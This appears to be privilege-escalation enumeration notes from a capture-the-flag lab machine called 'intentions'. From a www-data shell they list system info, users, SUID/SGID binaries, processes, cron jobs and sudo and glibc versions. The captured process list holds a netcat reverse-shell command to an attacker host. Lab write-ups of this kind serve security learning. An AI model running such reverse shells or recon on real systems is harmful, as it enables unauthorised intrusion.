System/Kernel
www-data@intentions:~/html/intentions/storage/app/public$ file /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=33a5554034feb2af38e8c75872058883b2988bc5, for GNU/Linux 3.2.0, stripped
linux intentions 5.15.0-76-generic #83-ubuntu smp thu jun 15 19:16:32 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04.2 LTS"
PRETTY_NAME="Ubuntu 22.04.2 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.2 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
home_url="https://www.ubuntu.com/"
support_url="https://help.ubuntu.com/"
bug_report_url="https://bugs.launchpad.net/ubuntu/"
privacy_policy_url="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy5.15.0-76-generic
Ubuntu 22.04.2 LTS (Jammy Jellyfish)
x86_64
Networks
www-data@intentions:~/html/intentions/storage/app/public$ netstat -antup4
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1093/nginx: worker
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 1 10.10.11.220:44750 8.8.8.8:53 SYN_SENT -
tcp 0 310 10.10.11.220:54946 10.10.14.5:9999 ESTABLISHED 12874/nc
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
udp 0 0 10.10.11.220:41217 8.8.8.8:53 ESTABLISHED -
udp 0 0 127.0.0.1:39669 127.0.0.53:53 ESTABLISHED -
udp 0 0 10.10.11.220:56307 8.8.8.8:53 ESTABLISHED - 127.0.0.53:53
127.0.0.1:3306
Users & Groups
www-data@intentions:~/html/intentions/storage/app/public$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
steven:x:1000:1000:steven:/home/steven:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:115:121:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
greg:x:1001:1001::/home/greg:/bin/sh
legal:x:1002:1002:,,,:/home/legal:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
total 20K
4.0k drwxr-xr-x 18 root root 4.0k jun 19 13:34 ..
4.0k drwxr-x--- 4 steven steven 4.0k jun 19 13:09 steven
4.0k drwxr-x--- 4 greg greg 4.0k jun 19 13:09 greg
4.0k drwxr-x--- 4 legal legal 4.0k jun 19 13:09 legal
4.0k drwxr-xr-x 5 root root 4.0k jun 10 14:56 .steven
greg
legal
www-data@intentions:~/html/intentions/storage/app/public$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=101(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=102(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=103(messagebus) gid=104(messagebus) groups=104(messagebus)
uid=104(systemd-timesync) gid=105(systemd-timesync) groups=105(systemd-timesync)
uid=105(pollinate) gid=1(daemon) groups=1(daemon)
uid=106(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=107(syslog) gid=113(syslog) groups=113(syslog),4(adm)
uid=108(uuidd) gid=114(uuidd) groups=114(uuidd)
uid=109(tcpdump) gid=115(tcpdump) groups=115(tcpdump)
uid=110(tss) gid=116(tss) groups=116(tss)
uid=111(landscape) gid=117(landscape) groups=117(landscape)
uid=112(usbmux) gid=46(plugdev) groups=46(plugdev)
uid=1000(steven) gid=1000(steven) groups=1000(steven),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)
uid=999(lxd) gid=100(users) groups=100(users)
uid=113(fwupd-refresh) gid=118(fwupd-refresh) groups=118(fwupd-refresh)
uid=114(mysql) gid=119(mysql) groups=119(mysql)
uid=115(ftp) gid=121(ftp) groups=121(ftp)
uid=1001(greg) gid=1001(greg) groups=1001(greg),1003(scanner)
uid=1002(legal) gid=1002(legal) groups=1002(legal),1003(scanner)
uid=998(_laurel) gid=998(_laurel) groups=998(_laurel)uid=1000(steven) gid=1000(steven) groups=1000(steven),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)
uid=1001(greg) gid=1001(greg) groups=1001(greg),1003(scanner)
uid=1002(legal) gid=1002(legal) groups=1002(legal),1003(scanner)
SUIDs
www-data@intentions:~/html/intentions/storage/app/public$ find / -perm -04000 -ls -type f 2>/dev/null
263241 56 -rwsr-xr-x 1 root root 55672 Feb 21 2022 /usr/bin/su
265151 60 -rwsr-xr-x 1 root root 59976 Nov 24 2022 /usr/bin/passwd
262811 36 -rwsr-xr-x 1 root root 35200 Mar 23 2022 /usr/bin/fusermount3
263028 32 -rwsr-xr-x 1 root root 30872 Feb 26 2022 /usr/bin/pkexec
263317 36 -rwsr-xr-x 1 root root 35192 Feb 21 2022 /usr/bin/umount
262899 228 -rwsr-xr-x 1 root root 232416 Apr 3 18:00 /usr/bin/sudo
265150 72 -rwsr-xr-x 1 root root 72072 Nov 24 2022 /usr/bin/gpasswd
265147 72 -rwsr-xr-x 1 root root 72712 Nov 24 2022 /usr/bin/chfn
262992 40 -rwsr-xr-x 1 root root 40496 Nov 24 2022 /usr/bin/newgrp
265148 44 -rwsr-xr-x 1 root root 44808 Nov 24 2022 /usr/bin/chsh
262960 48 -rwsr-xr-x 1 root root 47480 Feb 21 2022 /usr/bin/mount
292683 36 -rwsr-xr-- 1 root messagebus 35112 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
292474 332 -rwsr-xr-x 1 root root 338536 Nov 23 2022 /usr/lib/openssh/ssh-keysign
271059 20 -rwsr-xr-x 1 root root 18736 Feb 26 2022 /usr/libexec/polkit-agent-helper-1/usr/bin/pkexec
SGIDs
www-data@intentions:~/html/intentions/storage/app/public$ find / -perm -02000 -ls -type f 2>/dev/null
263372 24 -rwxr-sr-x 1 root tty 22912 Feb 21 2022 /usr/bin/write.ul
265146 72 -rwxr-sr-x 1 root shadow 72184 Nov 24 2022 /usr/bin/chage
262727 40 -rwxr-sr-x 1 root crontab 39568 Mar 23 2022 /usr/bin/crontab
292468 288 -rwxr-sr-x 1 root _ssh 293304 Nov 23 2022 /usr/bin/ssh-agent
263359 24 -rwxr-sr-x 1 root tty 22904 Feb 21 2022 /usr/bin/wall
265149 24 -rwxr-sr-x 1 root shadow 23136 Nov 24 2022 /usr/bin/expiry
292918 4 drwxrwsr-x 2 root staff 4096 feb 1 14:52 /usr/local/share/fonts
262918 24 -rwxr-sr-x 1 root shadow 22680 feb 2 09:21 /usr/sbin/pam_extrausers_chkpwd
263229 28 -rwxr-sr-x 1 root shadow 26776 feb 2 09:21 /usr/sbin/unix_chkpwd
399071 16 -rwxr-sr-x 1 root utmp 14488 Mar 24 2022 /usr/lib/x86_64-linux-gnu/utempter/utempter
599 0 drwxr-sr-x 2 root systemd-journal 40 jul 4 09:58 /run/log/journal
135517 4 drwxr-sr-x 3 root systemd-journal 4096 feb 1 14:36 /var/log/journal
131244 4 drwxr-sr-x 2 root systemd-journal 4096 jul 5 16:10 /var/log/journal/607b86cbcd424ff3ac2e3ca162cb6f32
8890 4 drwxr-s--- 2 mysql adm 4096 feb 1 14:55 /var/log/mysql
134800 4 drwxrwsr-x 2 root mail 4096 Aug 9 2022 /var/mail
11214 4 drwxrwsr-x 2 root staff 4096 Apr 18 2022 /var/localProcesses
www-data@intentions:~/html/intentions/storage/app/public$ ps -auxwww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.2 166168 11620 ? Ss Jul04 0:08 /sbin/init
root 512 0.0 0.2 32520 8528 ? S<s Jul04 0:19 /lib/systemd/systemd-journald
root 553 0.0 0.6 289344 27096 ? SLsl Jul04 0:13 /sbin/multipathd -d -s
root 560 0.0 0.1 23672 7152 ? Ss Jul04 0:01 /lib/systemd/systemd-udevd
systemd+ 580 0.0 0.1 16116 8000 ? Ss Jul04 0:02 /lib/systemd/systemd-networkd
systemd+ 747 0.0 0.3 26076 13976 ? Ss Jul04 0:13 /lib/systemd/systemd-resolved
systemd+ 748 0.0 0.1 89352 6560 ? Ssl Jul04 0:07 /lib/systemd/systemd-timesyncd
root 752 0.0 0.0 85264 2768 ? S<sl Jul04 0:06 /sbin/auditd
_laurel 754 0.0 0.1 10244 6248 ? S< Jul04 0:12 /usr/local/sbin/laurel --config /etc/laurel/config.toml
root 771 0.0 0.2 51128 11832 ? Ss Jul04 0:00 /usr/bin/VGAuthService
root 787 0.1 0.2 316016 9948 ? Ssl Jul04 2:31 /usr/bin/vmtoolsd
root 789 0.0 0.1 101232 5876 ? Ssl Jul04 0:00 /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root 834 0.0 0.0 82832 3836 ? Ssl Jul04 0:05 /usr/sbin/irqbalance --foreground
root 835 0.0 0.4 32752 19076 ? Ss Jul04 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root 836 0.0 0.1 234504 6684 ? Ssl Jul04 0:00 /usr/libexec/polkitd --no-debug
root 840 0.0 0.1 15012 7536 ? Ss Jul04 0:01 /lib/systemd/systemd-logind
root 845 0.0 0.3 392568 12952 ? Ssl Jul04 0:00 /usr/libexec/udisks2/udisksd
root 870 0.0 0.3 244224 12208 ? Ssl Jul04 0:00 /usr/sbin/ModemManager
root 1065 0.0 0.0 6892 2936 ? Ss Jul04 0:01 /usr/sbin/cron -f -P
root 1067 0.0 0.7 221084 28396 ? Ss Jul04 0:13 php-fpm: master process (/etc/php/8.1/fpm/php-fpm.conf)
root 1083 0.0 0.0 6172 1080 tty1 Ss+ Jul04 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 1085 0.0 0.2 15420 9328 ? Ss Jul04 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 1092 0.0 0.0 55196 1736 ? Ss Jul04 0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
www-data 1093 0.1 0.1 56304 7144 ? S Jul04 2:15 nginx: worker process
mysql 1118 0.1 2.2 1338368 89356 ? Ssl Jul04 1:50 /usr/sbin/mariadbd
root 3059 0.0 0.1 239640 7976 ? Ssl Jul04 0:00 /usr/libexec/upowerd
www-data 12790 0.0 0.4 221576 16908 ? S 12:56 0:00 php-fpm: pool www
www-data 12872 0.0 0.0 2888 1000 ? S 13:06 0:00 sh -c mkfifo /tmp/wimkykz; nc 10.10.14.5 9999 0</tmp/wimkykz | /bin/sh >/tmp/wimkykz 2>&1; rm /tmp/wimkykz
www-data 12874 0.0 0.0 3532 2204 ? S 13:06 0:00 nc 10.10.14.5 9999
www-data 12875 0.0 0.0 2888 984 ? S 13:06 0:00 /bin/sh
www-data 13944 0.0 0.4 221576 16920 ? S 15:38 0:00 php-fpm: pool www
www-data 14198 0.0 0.0 2804 1176 ? S 16:08 0:00 script /dev/null -c bash
www-data 14199 0.0 0.0 2888 960 pts/0 Ss 16:08 0:00 sh -c bash
www-data 14200 0.0 0.0 4624 3816 pts/0 S 16:08 0:00 bash/sbin/auditd
/usr/local/sbin/laurel --config /etc/laurel/config.toml
/usr/libexec/polkitd --no-debug
/usr/sbin/cron -f -P
/usr/sbin/mariadbd
Cron & Systemd
www-data@intentions:~/html/intentions/storage/app/public$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for www-data
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#path=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT LEFT LAST PASSED >
wed 2023-07-05 16:39:00 UTC 22min left Wed 2023-07-05 16:09:03 UTC 7min ago >
wed 2023-07-05 17:21:34 UTC 1h 4min left Wed 2023-07-05 01:02:19 UTC 15h ago >
wed 2023-07-05 19:43:28 UTC 3h 26min left Wed 2023-07-05 13:13:22 UTC 3h 3min a>
wed 2023-07-05 20:01:28 UTC 3h 44min left Wed 2023-07-05 09:09:35 UTC 7h ago >
wed 2023-07-05 20:39:26 UTC 4h 22min left Wed 2023-07-05 02:01:42 UTC 14h ago >
thu 2023-07-06 00:00:00 UTC 7h left Wed 2023-07-05 00:00:05 UTC 16h ago >
thu 2023-07-06 00:00:00 UTC 7h left Wed 2023-07-05 00:00:05 UTC 16h ago >
thu 2023-07-06 06:11:42 UTC 13h left Wed 2023-07-05 10:20:15 UTC 5h 56min >
thu 2023-07-06 06:22:56 UTC 14h left Wed 2023-07-05 06:27:00 UTC 9h ago >
thu 2023-07-06 10:03:05 UTC 17h left Wed 2023-07-05 10:03:05 UTC 6h ago >
thu 2023-07-06 10:13:05 UTC 17h left Wed 2023-07-05 10:13:05 UTC 6h ago >
sun 2023-07-09 03:10:01 UTC 3 days left Tue 2023-07-04 09:58:22 UTC 1 day 6h >
mon 2023-07-10 01:32:32 UTC 4 days left Tue 2023-07-04 10:39:53 UTC 1 day 5h >
mon 2023-07-10 09:21:05 UTC 4 days left Wed 2023-02-01 14:36:58 UTC 5 months >
14 timers listed.
Pass --all to see loaded but inactive timers, too.
lines 1-18/18 (END)Sudo Version
www-data@intentions:~/html/intentions/storage/app/public$ sudo -V
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9Sudo version 1.9.9
Glibc Version
www-data@intentions:~/html/intentions/storage/app/public$ ldd --version
ldd (Ubuntu GLIBC 2.35-0ubuntu3.1) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.ldd (Ubuntu GLIBC 2.35-0ubuntu3.1) 2.35